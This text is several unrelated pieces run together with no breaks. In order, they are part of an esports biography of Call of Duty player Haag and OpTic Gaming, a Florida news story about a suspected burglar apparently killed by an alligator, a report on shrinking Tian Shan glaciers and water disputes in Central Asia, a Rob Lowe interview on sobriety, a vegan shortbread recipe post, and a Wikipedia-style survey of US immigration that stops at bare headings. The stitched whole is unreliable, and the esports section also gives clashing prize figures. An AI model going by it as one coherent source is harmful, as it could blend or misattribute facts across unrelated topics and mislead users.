Optic, led by Haag, qualified for the Call of Duty: Ghosts national qualifiers for the annual Call of Duty Championship $1,000,000 tournaments after qualifying via MLG's online qualifying tournament. At the US Championship Finals OpTic Gaming finished in 7th place to qualify for the Call of Duty World Championship, after eliminating Curse New York in an elimination game in a best of 5 series. This allowed the team to qualify for the annual $1 million tournament. Haag and his OpTic Gaming squad played in the MLG Pro Circuit Season 1 online league where after a promising start they suffered problems online and were not able to qualify for the MLG PAX East Championship; eventually OpTic Gaming finished bottom of the league in 10th place. OpTic Gaming later announced that Haag and his team mates would be hosting the winners of the US Regional finals, Strictly Business Gaming for a pre-LAN event for the World Championships.
At the Call of Duty World Championships, OpTic were placed in a group with 'Epsilon eSports', 'NSP' and 'SSOF'; controversy was caused when 'SSOF' were disqualified and OpTic only had two teams in their group. OpTic first played 'NSP' and beat them 3-0 leading to a group decider against Epsilon where Haag and his team lost 3-0. However they advanced as the second seed and faced tK in the first round of the winners bracket. Haag led his team to a 3–0 victory against a team considered to be a top three team by many. In the second round Haag was to come up against Strictly Business Gaming who they had hosted in a pre-LAN event, however Haag and his team mates won 3–2 and played Australian team Trident T1 Dotters for a guaranteed top three finish. OpTic Gaming led by Haag won the series 3–1 and guaranteed themselves 3rd and $120,000. OpTic were then to face CompLexity who were undefeated on Call of Duty: Ghosts and came up short in the winners bracket finals losing 3–2. OpTic then lost to Team EnVyUs in the losers bracket finals and Haag led his team to a top three finish and won his cut of $30,000.[4]
Shortly after the Call of Duty World Championships, Haag signed an exclusivity contract with MLG to stream himself playing Call of Duty on MLG's MLG.tv web streaming service.[7] On April 15, 2014, OpTic Gaming announced that Marcus 'MBoZe' Blanks would be leaving the team in order for Jordan 'ProoFy' Cannon to join the team. The OpTic Gaming roster (Haag's team mates) for UGC Niagara and for the 2014 season Call of Duty:Ghosts season was Seth 'Scumpii' Abner, James 'Clayster' Eubanks and Jordan 'ProoFy' Cannon.[18]
At the new roster's first tournament together, a disappointing first day lead to them having to play the worlds best team, and eventual winners of UGC Niagara, CompLexity Gaming, who proved too strong for Haag's team. They narrowly won every map to take a 3–0 series win and knock Haag and his OpTic Gaming team out of the tournament. Before and after UGC Niagara Haag competed with his team in the MLG Pro Circuit Season 2 in order to qualify for MLG Anaheim's pro team tournament to contest for a $70,000 prize pool. Haag's team qualified, being second place in the league.
Haag and his OpTic Gaming team were invited to the MLG X Games[19] on the Xbox One after finishing in the top 3 at the Call of Duty World Championships. They went into the event as underdogs after a disappointing tournament at UGC Niagara, however Haag and his team were able to win their group after beating Team EnVyUs and FaZe Red 3–1 to set up a semi final match against Evil Geniuses,(formerly known as CompLexity). Evil Geniuses were favorites to win the event after a dominant year at LAN events, but Haag and his three teammates were able to beat them 3–1 to face Team Kaliber in the Grand Finals. They managed to beat Team Kaliber in a match that came down to a Game 5, Round 10 in Search & Destroy, and Haag was able to win a Gold Medal and his first MLG Championship at the X Games in Austin,[20] Texas.[21]
Haag was voted by fans as The Game Awards 2014 eSports Player of the Year.[22] He took a trip out to Las Vegas with some of his teammates and sponsors to accept this award.[23]
Call of Duty: Advanced Warfare 2014–15 season
Advanced Warfare will be the next installment in the Call Of Duty Franchise for the e-sports circuit. The season formally began November 2014. Haag was invited by Activision to Los Angeles for a preview of Call of Duty: Advanced Warfare in order to advise developers on the state of the game.[24] On October 28, 2014 OpTic Gaming, led by Haag, participated in an exclusive Call of Duty: Advanced Warfare streaming event at the so-called 'OpTic House' in Chicago, in order to promote the new edition in the franchise for its creators, Sledgehammer Games.[25]
In season opening competition, MLG Columbus, Haag and his team achieved second place, losing out to FaZe in the Grand Final.[26] This was a sad loss for OpTic and Haag, as they hadn't dropped a map all day until the grand finals.[27] OpTic looked like they were going to win it all until they ran into Faze Clan in the finals. Faze narrowly took the victory, going all the way to a second best of five series.[27]
The second tournament Haag competed in with OpTic was at UMG Orlando. Haag and his team achieved first place this time around. They went 0–2 in the first day of competition but his team managed to bounce back and with their other two games in pool play on the second day of competition. On Championship Sunday OpTic were crowned victorious as they beat a young team known as Stunner Gaming 3–1 in the grand finals.
Twelve teams qualified, including Haag's team, for Pro League Season 1: Prophecy, FaZe, Justus, Aware, Automatic Reload, EnVyUs, Denial, eLevate, Rise Nation, Team KaLiBeR, OpTic Nation, and OpTic Gaming.[28] Haag's team now consists of Ian "Crimsix" Porter, Seth "Scumpii" Abner, and Matthew "Formal" Piper. OpTic Gaming were to go 38–6 in the MLG Season 1 Call of Duty: Advanced Warfare and qualified with the number one seed for the playoffs which they completed at with a $75,000 prize pool. OpTic Gaming went into the event led by NaDeSHoT and hoped to become the first team to win a LAN tournament without dropping a map. They went on to beat Rise Nation 3–0, they then came up against a team with young players called Aware Gaming who they beat 3–1 however this meant they did not become the first team to win an event without dropping a map. They then faced Team Kaliber in the winners bracket final who they narrowly beat 3–2 before progressing to the grand finals where they beat Denial eSports 3–0 to win their second event in a row.[29] This was Haag's second win of an MLG event after winning previously at X Games during the Call of Duty: Ghosts season.
On April 4, 2015, NaDeSHoT announced that he was stepping down as captain and member of the OpTic Gaming pro-team. He said that he will become a full-time content creator as well as co-owner of the OpTic organization.[30] He was replaced on the lineup by Damon "Karma" Barlow.[31]
Personal life
Haag was born on August 3, 1992 to Jeff and Christina Haag.[32][33][34] He has a brother and sister.[35]
Matthew Riggins, 22, of Palm Bay was reported missing Nov. 13. His body was found 10 days later floating in a pond near Latan Court and Barefoot Circle, in Barefoot Bay. Investigators said it had the makings of a gator attack.
Shortly before Riggins was reported missing, he called his girlfriend and told her he'd be in the area breaking into homes, deputies said.
"He was going to do burglaries in the Barefoot Bay area with another individual," said Maj. Tod Goodyear, with the Brevard County Sheriff's Office.
Neighbors reported to authorities that they saw two men dressed in black lurking behind homes. Deputies began searching the area and were later joined by more deputies, K-9 units and a sheriff's helicopter.
Investigators said Riggins then called his girlfriend to tell her they were being chased and lying low.
"Do you still hear them hollering, or did they hunker down?" deputies could be heard saying on radio traffic.
Deputies called off the search that night, but then Riggins' family reported him missing less than 24 hours later.
"He probably went into the lake to hide from the officers and the dog, and came across that gator," Goodyear said. "To hide somewhere to try and get away, and then meeting up with an animal like that, no, I've never had that happen before."
"He hid in the wrong place," said Laura Farris, a Barefoot Bay resident.
Matthew Riggins of Palm Bay (Brevard County Sheriff's Office)
The Brevard County Sheriff's Office dive team encountered the same gator while recovering the man's body, and the animal had to be euthanized by a trapper from the Florida Fish and Wildlife Conservation Commission.
Inside the gator's stomach, the medical examiner found proof of how Riggins was killed.
"I would say it's poetic justice, you want to sit there and steal from people," Barefoot Bay resident Chuck Stokes said.
Investigators said the other man thought to be breaking into homes with Riggins has not cooperated with the case, but so far he has not been charged.
The overpopulated, Israel-sized Ferghana Valley has attracted the armies of Alexander the Great, Arabs, Mongols and Russian tsars. It has also spawned some of the bloodiest conflicts in the former Soviet Union, including ethnic clashes, incursions of armed Islamists and the Uzbek government's merciless crackdown on a 2005 popular revolt.
The glaciers and snows of the Tian Shan mountains around the valley give birth to the Syr Darya, one of Central Asia's two major rivers, and turn the valley into a giant hothouse with nearly perfect conditions for farming. Border areas in nearby Xinjiang, China's troubled Muslim region, also depend on Tian Shan's glaciers for water.
But between 1961 and 2012, the sky-scraping range whose name means "Heavenly Mountains" in Chinese, has lost 27 percent of its ice mass, the German Research Centre for Geosciences said last year. The annual loss amounts to up to 5.4 cubic kilometres of water a year, it said.
"This means that the glaciers in the Tien Shan lose each year as much water as all the people of Switzerland, including industry" consume in six years, Dr Daniel Farinotti of the Swiss Federal Institute for Forest, Snow and Landscape Research who led the research, told Al Jazeera.
By the 2050s, the loss may amount to half of the glaciers' ice mass, the research concludes pessimistically.
"The situation is of particular concern in light of both the local population growth and the continued glacier shrinkage anticipated in response to climatic changes," it said.
Killing for Water
The fields and orchards of Kuva, a millennia-old town known for Buddhist artefacts and irrigation systems that predate the Arab invasion of the 8th century, are a short drive away from the mountains.
But farmers here are "ready to kill each other for water," a local mirob, or community official responsible for distribution of piped water from a communal canal, told Al Jazeera.
The official, who could not give his name because of his job's sensitivity, described how over the past decade farmers have increasingly resorted to quarrels and fistfights and used their connections to officials to influence the timing and duration of water allocation to their land lots.
This year, there's next to nothing to irrigate the fields with. "There's been no winter this year, so we're begging God for water," farmer Rasul Azamatov told Al Jazeera.
He drove his rundown motorcycle along an old, dry trough, its concrete sections bent and cracked, the cracks stuffed with plastic or cotton. An apricot orchard around him was in full bloom, pink petals falling on the dry soil with sparse leaves of last year's grass that survived the snowless winter, but is withering without rain.
The district's irrigation hub is the Kerkidan reservoir built in Soviet times and once a magnet for picnickers and fishers. But what is left of the reservoir that is now shared by Uzbekistan and Kyrgyzstan is an expanse of drying, crackled dirt and a few muddy puddles.
The Ferghana valley is a bit bigger than Israel, but lacks its proficiency in water conservation - and does not have many alternatives to farming. Cheap Chinese exports have killed local plants and factories, and the valley has become a major source of labour migration - mostly to Russia.
Energy for water
Apart from global warming, experts blame the perennial drought on the Soviet system of swapping water for energy - for its collapse.
"The root of the problem is the disintegration of the resource-sharing system the Soviet Union imposed on the region until its collapse in 1991," the International Crisis Group, a conflict studies think-tank, said in a 2014 report entitled Water Pressures in Central Asia.
Mountainous Kyrgyzstan and Tajikistan had few natural resources, but boasted massive dams and hydropower plants. They used to receive coal and natural gas from downstream Kazakhstan, Turkmenistan and Uzbekistan.
The system was designed to turn Central Asia into a strategic source of cotton but fell apart by the late 1990s amid squabbles over energy pricing and unpaid debts, and "a plethora of bilateral and regional agreements and resolutions concluded in that decade failed to fix it," the report said.
These days, Kyrgyzstan is withholding water in massive upstream reservoirs releasing it according to electricity generation needs - that is in winter - and not the interests of now-foreign farmers next door.
The dust-ups over water are aggravated by bad blood.
Uzbekistan and Kyrgyzstan have been at odds for decades. Hundreds of people were killed in violent ethnic clashes in the Kyrgyz part of the Ferghana valley in 1990 and 2010, and the latter conflict prompted a brief exodus of hundreds of thousands of refugees.
Unsurprisingly, the word "war" resurfaced when Moscow threw its weight and money to revive Soviet-era designs to build five more dams and hydropower stations in Kyrgyzstan. The Kremlin pledged to finance the $3.2bn project on the Naryn River, Syr Darya's tributary, as part of its political effort to restore its foothold in Central Asia.
Uzbek President Islam Karimov wasn't very subtle with his warning. "Control over water resources in the republics of Central Asia may lead to a full-scale war," he said in October.
But early this year, Russia and Kyrgyzstan scrapped the plans because of an economic meltdown caused by low oil prices and Western sanctions slapped on Moscow.
A Gordian knot
The Ferghana Valley's problems are replicated throughout Central Asia, a landlocked region of more than 60 million people where conditions for farming are far less favourable, but tens of millions still live off land. Their problems are exacerbated by desertification, old and decrepit infrastructure and poor water management.
The cotton monoculture and Soviet-era reclamation of steppes and deserts have already killed the Aral Sea, once the world's fourth-largest inland body of water that lies some 1,500km east of Kuva. Aral is now reduced to two smaller lakes, while most of its former seabed has turned into a desert that releases tens of thousands of tons of toxic salt-dust annually.
Despite the immense environmental damage Aral's desiccation has inflicted, the authoritarian governments of Uzbekistan and Turkmenistan, both listed among the world's largest cotton producers, still force farmers to grow the water-thirsty fibre.
Authorities buy it at a fixed low price and rely on forced labour, mainly government employees and students who pick cotton for weeks or even months each autumn.
Uzbekistan "controls one of the world's largest systems of forced labour" that involves millions of people, rights activist and campaigner Umida Niyazova, who was forced to leave Uzbekistan for Germany, told Al Jazeera.
Uzbekistan: A dying sea, mafia rule, and toxic fish
In southeastern Kazakhstan, another major body of water faces Aral's fate.
The shallow, boomerang-shaped Balkhash is the world's 15th largest freshwater lake mostly fed by the Ili River that flows from China. The lake that supplies three Kazakh regions with is shrinking as China amasses Ili's waters in a dozen reservoirs.
Given the Gordian knot of regional problems, some experts think that in the coming decades, an armed conflict in the region over water seems inevitable. "The answer is clearly yes," Dr Farinotti said.
Lowe, who checked into rehab after half a decade of partying that culminated in a sex tape scandal, spoke about that period with CNN's Piers Morgan; the "Parks and Recreation" star said that he has no desire to drink even a glass of wine -- because he couldn't drink just one.
"That's how you know you're one of us," he said.
Morgan led Lowe into speaking in detail about his rehab, which Lowe describes in his book as "one of the most exhilarating, liberating and exciting four weeks of my life. Scary yes... but unquantifiable relief." The star went even further on the show.
"It was great. I loved it. Because I was ready. Problem is, people go into rehab and they're not ready," Lowe explained. "You want to get sober for your parents, you want to get sober for your job, you want to get sober for the cops, you want to get sober to protect your image. A lot of good reasons, by the way, but unfortunately, the only thing that works is that you have to want to get sober for you. So, I was ready. And so if they told me, 'Hey, Lowe, you've got to go stand in the corner on your head,' I would have done it."
When it comes to Charlie Sheen, Lowe's old friend from their teen star days as members of the Brat Pack, he echoed statements he made to PopEater, saying that Sheen did not want help -- and that he was wrong about rehab.
"He's wrong... You don't get to do it your way. You don't get to make up your own special rules. We have a name for people like that. Those are people who suffer from terminal uniqueness. You don't get to do it your way."
For more on Lowe's book, click over to a long exploration of the book here.
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Holidays are just around the corner and so are the plans to whip up cookies! Though one doesn’t need the holiday season to bake some and enjoy right.
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These are simple shortbread cookies with a few ingredients and spiced with fall spices. I used coconut oil and non dairy yogurt in these. I used refined coconut oil to keep them neutral tasting. Use virgin or refined to preference or use vegan butter. You can also use thick cashew cream or thick aquafaba instead of yogurt. I haven’t tried these, let me know how it works out if you do.
I added candied papaya that Mom brought along when she was visiting. Dad loves those candied bits in cakes, cookies and yeasted bread buns. Mom and Dad drink itsy bitsy cups of chai throughout the day (6-7 times!). Breads, cookies, nuts and savory Indian trail mix are their choice of snack with the tea. I am hoping Mom sees this post and whips up a batch. These are just like the bakery biscuits from the neighborhood bakery!
Use any other candied fruit like mango, or dried fruit like apricot or cranberries or nuts like cashews or hazelnuts in these Vegan Shortbread Cookies. For a gluten-free version try my Gluten free Shortbread Cookies from the blog. Its fall so these are Pumpkin Pie Spice Shortbread Cookies. Use other spices and blends like chai spice or cinnamon or no spice for variations.
More Holiday Cookies from the blog
Watch this video for a smile today.
Steps:
Make the cookie dough. The dough should be soft enough to stick into a ball which you can roll into a log. Not crumbly and not too sticky. Fold in the dried fruit and nuts if using. Roll the dough into a log and freeze for half an hour. Slice the log into 1/4 inch slices.
Place on parchment lined baking sheet. Bake for 18 to 20 minutes.
In absolute numbers, the United States has a larger immigrant population than any other country, with 47 million immigrants as of 2015.[2] This represents 19.1% of the 244 million international migrants worldwide, and 14.4% of the U.S. population. Some other countries have larger proportions of immigrants, such as Switzerland with 24.9% and Canada with 21.9%.[3][4]
According to the 2016 Yearbook of Immigration Statistics, the United States admitted 1.18 million legal immigrants in 2016.[5] Of these, 20% were family-sponsored, 47% were the immediate relatives of U.S. citizens, 12% were employment-based preferences, 4% were part of the Diversity Immigrant Visa program, and 13% were refugees and/or asylum seekers.[5] The remainder included small numbers from several other categories, including those who were granted the Special Immigrant Visa (SIV); persons admitted under the Nicaraguan and Central American Relief Act; children born subsequent to the issuance of a parent's visa; and certain parolees from the former Soviet Union, Cambodia, Laos, and Vietnam who were denied refugee status.[5]
The economic, social, and political aspects of immigration have caused controversy regarding such issues as maintaining ethnic homogeneity, workers for employers versus jobs for non-immigrants, settlement patterns, impact on upward social mobility, crime, and voting behavior.
Prior to 1965, policies such as the national origins formula limited immigration and naturalization opportunities for people from areas outside Western Europe. Exclusion laws enacted as early as the 1880s generally prohibited or severely restricted immigration from Asia, and quota laws enacted in the 1920s curtailed Eastern European immigration. The civil rights movement led to the replacement[6] of these ethnic quotas with per-country limits.[7] Since then, the number of first-generation immigrants living in the United States has quadrupled.[8][9]
Research suggests that immigration to the United States is beneficial to the U.S. economy. With few exceptions, the evidence suggests that on average, immigration has positive economic effects on the native population, but it is mixed as to whether low-skilled immigration adversely affects low-skilled natives. Studies also show that immigrants have lower crime rates than natives in the United States.[10][11][12] Research shows that the United States excels at assimilating first- and second-generation immigrants relative to many other Western countries.
History
Immigrants on ocean steamer passing the Statue of Liberty, New York City, 1887
American immigration history can be viewed in four epochs: the colonial period, the mid-19th century, the start of the 20th century, and post-1965. Each period brought distinct national groups, races and ethnicities to the United States.
Colonial period
During the 17th century, approximately 400,000 English people migrated to Colonial America.[13] However, only half stayed permanently. From 1700 to 1775 between 400-500,000 immigrated. Only 45,000 English supposedly immigrated in the period 1701 to 1775 (on Butler, Becoming America, The Revolution before 1776, 2000, p. 34-35 ISBN 0-674-00091-9), a figure questioned as too low (The Oxford History of the British Empire, The Eighteenth Century, Ed. P. J. Marshall, p. 3 ISBN 0-19-820563-5 the number given is at 80,000 less 29,000 Welsh which seems strange to the author, James Horn; Duncan also regards this as a "mystery") not including the 50,000-120,000 convicts transported, most of whom were English: the rest, 400-450,000 were Scots, Scots-Irish from Ulster, Germans and Swiss, French Huguenots, and involuntarily 350,000 Africans (Encyclopedia of the Colonial and Revolutionary America, 1996 p. 200-202 ISBN 0-306-80687-8; Jon Butler, Becoming America, The Revolution before 1776, 2000, pp. 16–49 ISBN 0-674-00091-9). Over half of all European immigrants to Colonial America during the 17th and 18th centuries arrived as indentured servants.[14] They numbered 350,000 (Encyclopedia, p. 202). The European populations of the Middle Colonies of New York, New Jersey, Pennsylvania and Delaware were ethnically very mixed, the English constituting only 30 in Pennsylvania, 40% in New Jersey to 45% in New York (numbered22 thousand or 18% in NY) (Duncan. op. cit. p. 10). The mid-19th century saw an influx mainly from northern Europe from the same major ethnic groups as for the Colonial Period but with large numbers of Catholic Irish and Scandinavians added to the mix; the late 19th and early 20th-century immigrants were mainly from Southern and Eastern Europe, but there were also several million immigrants from Canada; post-1965 most came from Latin America and Asia.
Historians estimate that fewer than 1 million immigrants moved to the United States from Europe between 1600 and 1799.[15] By comparison, in the first federal census, in 1790, the population of the United States was enumerated to be 3,929,214.[16]
Early United States era
The Naturalization Act of 1790 limited naturalization to "free white persons"; it was expanded to include blacks in the 1860s and Asians only in the 1950s.[17] This made the United States an outlier, since laws that made racial distinctions were uncommon in the world in the 18th Century.[18]
In the early years of the United States, immigration was fewer than 8,000 people a year,[19] including French refugees from the slave revolt in Haiti. After 1820, immigration gradually increased. From 1836 to 1914, over 30 million Europeans migrated to the United States.[20] The death rate on these transatlantic voyages was high, during which one in seven travelers died.[21] In 1875, the nation passed its first immigration law, the Page Act of 1875.[22]
After an initial wave of immigration from China following the California Gold Rush, Congress passed a series of laws culminating in the Chinese Exclusion Act of 1882, banning virtually all immigration from China until the law's repeal in 1943. In the late 1800s, immigration from other Asian countries, especially to the West Coast, became more common.
20th Century
The peak year of European immigration was in 1907, when 1,285,349 persons entered the country.[23] By 1910, 13.5 million immigrants were living in the United States.[24] In 1921, the Congress passed the Emergency Quota Act, followed by the Immigration Act of 1924. The 1924 Act was aimed at further restricting immigrants from Southern and Eastern Europe, particularly Jews, Italians, and Slavs, who had begun to enter the country in large numbers beginning in the 1890s, and consolidated the prohibition of Asian immigration.[25]
Polish immigrants working on the farm, 1909. The welfare system was practically non-existent before the 1930s and the economic pressures on the poor were giving rise to child labor.
Immigration patterns of the 1930s were affected by the Great Depression. In the final prosperous year, 1929, there were 279,678 immigrants recorded,[26] but in 1933, only 23,068 moved to the U.S.[15] In the early 1930s, more people emigrated from the United States than to it.[27] The U.S. government sponsored a Mexican Repatriation program which was intended to encourage people to voluntarily move to Mexico, but thousands were deported against their will.[28] Altogether about 400,000 Mexicans were repatriated half of them US citizens.[29] Most of the Jewish refugees fleeing the Nazis and World War II were barred from coming to the United States.[30] In the post-war era, the Justice Department launched Operation Wetback, under which 1,075,168 Mexicans were deported in 1954.[31]
First, our cities will not be flooded with a million immigrants annually. Under the proposed bill, the present level of immigration remains substantially the same. ... Secondly, the ethnic mix of this country will not be upset. ... Contrary to the charges in some quarters, [the bill] will not inundate America with immigrants from any one country or area, or the most populated and deprived nations of Africa and Asia. ... In the final analysis, the ethnic pattern of immigration under the proposed measure is not expected to change as sharply as the critics seem to think. Ted Kennedy, chief Senate sponsor of the Immigration and Nationality Act of 1965.[32]
Since 1965
The Immigration and Nationality Act of 1965, also known as the Hart-Cellar Act, abolished the system of national-origin quotas. By equalizing immigration policies, the act resulted in new immigration from non-European nations, which changed the ethnic make-up of the United States.[33] In 1970, 60% of immigrants were from Europe; this decreased to 15% by 2000.[34] In 1990, George H. W. Bush signed the Immigration Act of 1990,[35] which increased legal immigration to the United States by 40%.[36] In 1991, Bush signed the Armed Forces Immigration Adjustment Act 1991, allowing foreign service members who had serve 12 or more years in the US Armed Forces to qualify for permanent residency and, in some cases, citizenship.
In November 1994, California voters passed Proposition 187 amending the state constitution, denying state financial aid to illegal immigrants. The federal courts voided this change, ruling that it violated the federal constitution.[37]
Appointed by Bill Clinton,[38] the U.S. Commission on Immigration Reform recommended reducing legal immigration from about 800,000 people per year to approximately 550,000.[39] While an influx of new residents from different cultures presents some challenges, "the United States has always been energized by its immigrant populations," said President Bill Clinton in 1998. "America has constantly drawn strength and spirit from wave after wave of immigrants ... They have proved to be the most restless, the most adventurous, the most innovative, the most industrious of people."[40]
In 2001, President George W. Bush discussed an accord with Mexican President Vincente Fox. Possible accord was derailed by the September 11 attacks. From 2005 to 2013, the US Congress discussed various ways of controlling immigration. The Senate and House were unable to reach an agreement.[37]
Nearly 14 million immigrants entered the United States from 2000 to 2010,[41] and over one million persons were naturalized as U.S. citizens in 2008. The per-country limit[7] applies the same maximum on the number of visas to all countries regardless of their population and has therefore had the effect of significantly restricting immigration of persons born in populous nations such as Mexico, China, India, and the Philippines—the leading countries of origin for legally admitted immigrants to the United States in 2013;[42] nevertheless, China, India, and Mexico were the leading countries of origin for immigrants overall to the United States in 2013, regardless of legal status, according to a U.S. Census Bureau study.[43] As of 2009 , 66% of legal immigrants were admitted on the basis of family ties, along with 13% admitted for their employment skills and 17% for humanitarian reasons.[44]
Nearly 8 million people immigrated to the United States from 2000 to 2005; 3.7 million of them entered without papers.[45][46] In 1986 president Ronald Reagan signed immigration reform that gave amnesty to 3 million undocumented immigrants in the country.[47] Hispanic immigrants suffered job losses during the late-2000s recession,[48] but since the recession's end in June 2009, immigrants posted a net gain of 656,000 jobs.[49] Over 1 million immigrants were granted legal residence in 2011.[50]
For those who enter the US illegally across the Mexico–United States border and elsewhere, migration is difficult, expensive and dangerous.[51] Virtually all undocumented immigrants have no avenues for legal entry to the United States due to the restrictive legal limits on green cards, and lack of immigrant visas for low-skilled workers.[52] Participants in debates on immigration in the early twenty-first century called for increasing enforcement of existing laws governing illegal immigration to the United States, building a barrier along some or all of the 2,000-mile (3,200 km) Mexico-U.S. border, or creating a new guest worker program. Through much of 2006 the country and Congress was immersed in a debate about these proposals. As of April 2010 few of these proposals had become law, though a partial border fence had been approved and subsequently canceled.[53]
Trump policies
In January 2017, U.S. President Donald Trump signed an executive order temporarily suspending entry to the United States by nationals of certain Muslim-majority countries. It was replaced by another executive order in March 2017 and by a presidential proclamation in September 2017, with various changes to the list of countries and exemptions.[54] The orders were temporarily suspended by federal courts but later allowed to proceed by the Supreme Court, pending a definite ruling on their legality.[55] Another executive order called for the immediate construction of a wall across the U.S.–Mexico border, the hiring of 5,000 new border patrol agents and 10,000 new immigration officers, and federal funding penalties for sanctuary cities.[56]
Persons obtaining legal permanent resident status by fiscal year[57]
Year Year Year Year Year Year Year 1890 455,302 1910 1,041,570 1930 241,700 1950 249,187 1970 373,326 1990 1,535,872 2010 1,042,625 1895 258,536 1915 326,700 1935 34,956 1955 237,790 1975 385,378 1995 720,177 2015 1,051,031 1900 448,572 1920 430,001 1940 70,756 1960 265,398 1980 524,295 2000 841,002 2016 1,183,505 1905 1,026,499 1925 294,314 1945 38,119 1965 296,697 1985 568,149 2005 1,122,257 2017 1,127,167
Decade Average per year 1890-99 369,100 1900-09 745,100 1910-19 634,400 1920-29 429,600 1930–39 69,900 1940–49 85,700 1950–59 249,900 1960–69 321,400 1970–79 424,800 1980–89 624,400 1990–99 977,500 2000–09 1,029,900 2010–17 1,063,134
Contemporary immigration
Until the 1930s most legal immigrants were male. By the 1990s women accounted for just over half of all legal immigrants.[58] Contemporary immigrants tend to be younger than the native population of the United States, with people between the ages of 15 and 34 substantially overrepresented.[59] Immigrants are also more likely to be married and less likely to be divorced than native-born Americans of the same age.[60]
Immigrants are likely to move to and live in areas populated by people with similar backgrounds. This phenomenon has held true throughout the history of immigration to the United States.[61] Seven out of ten immigrants surveyed by Public Agenda in 2009 said they intended to make the U.S. their permanent home, and 71% said if they could do it over again they would still come to the US. In the same study, 76% of immigrants say the government has become stricter on enforcing immigration laws since the September 11, 2001 attacks ("9/11"), and 24% report that they personally have experienced some or a great deal of discrimination.[62]
Public attitudes about immigration in the U.S. were heavily influenced in the aftermath of the 9/11 attacks. After the attacks, 52% of Americans believed that immigration was a good thing overall for the U.S., down from 62% the year before, according to a 2009 Gallup poll.[63] A 2008 Public Agenda survey found that half of Americans said tighter controls on immigration would do "a great deal" to enhance U.S. national security.[64] Harvard political scientist and historian Samuel P. Huntington argued in his 2004 book Who Are We? The Challenges to America's National Identity that a potential future consequence of continuing massive immigration from Latin America, especially Mexico, could lead to the bifurcation of the United States.[65][66]
The estimated population of illegal Mexican immigrants in the US fell from approximately 7 million in 2007 to 6.1 million in 2011 [67] Commentators link the reversal of the immigration trend to the economic downturn that started in 2008 and which meant fewer available jobs, and to the introduction of tough immigration laws in many states.[68][69][70][71] According to the Pew Hispanic Center the net immigration of Mexican born persons had stagnated in 2010, and tended toward going into negative figures.[72]
More than 80 cities in the United States,[73] including Washington D.C., New York City, Los Angeles, Chicago, San Francisco, San Diego, San Jose, Salt Lake City, Phoenix, Dallas, Fort Worth, Houston, Detroit, Jersey City, Minneapolis, Denver, Baltimore, Seattle, Portland, Oregon and Portland, Maine, have sanctuary policies, which vary locally.[74]
Ethnicity
Inflow of New Legal Permanent Residents by region, in 2014, 2015, and 2016
Region 2014 % of total 2015 % of total 2016 % of total % in 2016 Americas 398,069 39.16% 438,435 41.71% 506,901 42.83% 15.6% Asia 430,508 42.35% 419,297 39.89% 462,299 39.06% 10.3% Africa 98,413 9.68% 101,415 9.65% 113,426 9.58% 11.8% Europe 83,266 8.19% 85,803 8.16% 93,567 7.90% 9.0% Australia and Oceania 5,122 0.50% 5,404 0.51% 5,588 0.47% 3.4% Unknown 1,150 0.11% 677 0.06% 1,724 0.14% 154.6% Total 1,016,518 100% 1,051,031 100% 1,183,505 100% 12.6%
Source: US Department of Homeland Security, Office of Immigration Statistics[76][77]
Top 10 sending countries in 2015 and 2016[78]
Country 2015 2016 1. Mexico 158,619 174,534 2. China 74,558 81,772 3. Cuba 54,396 66,516 4. India 64,116 64,687 5. Dominican Rep. 50,610 61,161 6. Philippines 56,478 53,287 7. Vietnam 30,832 41,451 8. Haiti 16,967 23,584 9. El Salvador 19,487 23,449 10. Jamaica 17,642 23,350 Total 1,051,031 1,183,505
Demography
Extent and destinations
Year[79] Number of foreign-born Percent
foreign-born 1850 2,244,602 9.7 1860 4,138,697 13.2 1870 5,567,229 14.4 1880 6,679,943 13.3 1890 9,249,547 14.8 1900 10,341,276 13.6 1910 13,515,886 14.7 1920 13,920,692 13.2 1930 14,204,149 11.6 1940 11,594,896 8.8 1950 10,347,395 6.9 1960 9,738,091 5.4 1970 9,619,302 4.7 1980 14,079,906 6.2 1990 19,767,316 7.9 2000 31,107,889 11.1 2010[80] 39,956,000 12.9 2015[81] 43,290,000 13.4
The United States admitted more legal immigrants from 1991 to 2000, between ten and eleven million, than in any previous decade. In the most recent decade, the 10 million legal immigrants that settled in the U.S. represent roughly one third of the annual growth, as the U.S. population grew by 32 million (from 249 million to 281 million). By comparison, the highest previous decade was the 1900s, when 8.8 million people arrived, increasing the total U.S. population by one percent every year. Specifically, "nearly 15% of Americans were foreign-born in 1910, while in 1999, only about 10% were foreign-born."[82]
By 1970, immigrants accounted for 4.7 percent of the US population and rising to 6.2 percent in 1980, with an estimated 12.5 percent in 2009.[83] As of 2010 , 25% of US residents under age 18 were first- or second-generation immigrants.[84] Eight percent of all babies born in the U.S. in 2008 belonged to illegal immigrant parents, according to a recent analysis of U.S. Census Bureau data by the Pew Hispanic Center.[85]
Legal immigration to the U.S. increased from 250,000 in the 1930s, to 2.5 million in the 1950s, to 4.5 million in the 1970s, and to 7.3 million in the 1980s, before resting at about 10 million in the 1990s.[86] Since 2000, legal immigrants to the United States number approximately 1,000,000 per year, of whom about 600,000 are Change of Status who already are in the U.S. Legal immigrants to the United States now are at their highest level ever, at just over 37,000,000 legal immigrants. In reports in 2005-2006, estimates of illegal immigration ranged from 700,000 to 1,500,000 per year.[87][88] Immigration led to a 57.4% increase in foreign born population from 1990 to 2000.[89]
While immigration has increased drastically over the last century, the foreign born share of the population is, at 13.4, only somewhat below what it was at its peak in 1910 at 14.7%. A number of factors may be attributed to the decrease in the representation of foreign born residents in the United States. Most significant has been the change in the composition of immigrants; prior to 1890, 82% of immigrants came from North and Western Europe. From 1891 to 1920, that number dropped to 25%, with a rise in immigrants from East, Central, and South Europe, summing up to 64%. Animosity towards these different and foreign immigrants rose in the United States, resulting in much legislation to limit immigration.[citation needed]
Contemporary immigrants settle predominantly in seven states, California, New York, Florida, Texas, Pennsylvania, New Jersey and Illinois, comprising about 44% of the U.S. population as a whole. The combined total immigrant population of these seven states was 70% of the total foreign-born population in 2000.
Origin
>10,000,000 1,000,000–3,000,000 300,000–1,000,000 100,000–300,000 30,000–100,000 <30,000 United States and its territories Foreign-born population of the United States in 2016, by country of birth.
>10.0 3.0–10.0 1.0–3.0 0.3–1.0 0.1–0.3 <0.1 United States and its territories Immigrants to the United States (2012–2016) per thousand inhabitants of each country of origin (2012).
Foreign-born population of the United States in 2016[90] and number of immigrants between 1986 and 2016,[91] by country of birth
Effects of immigration
Demographics
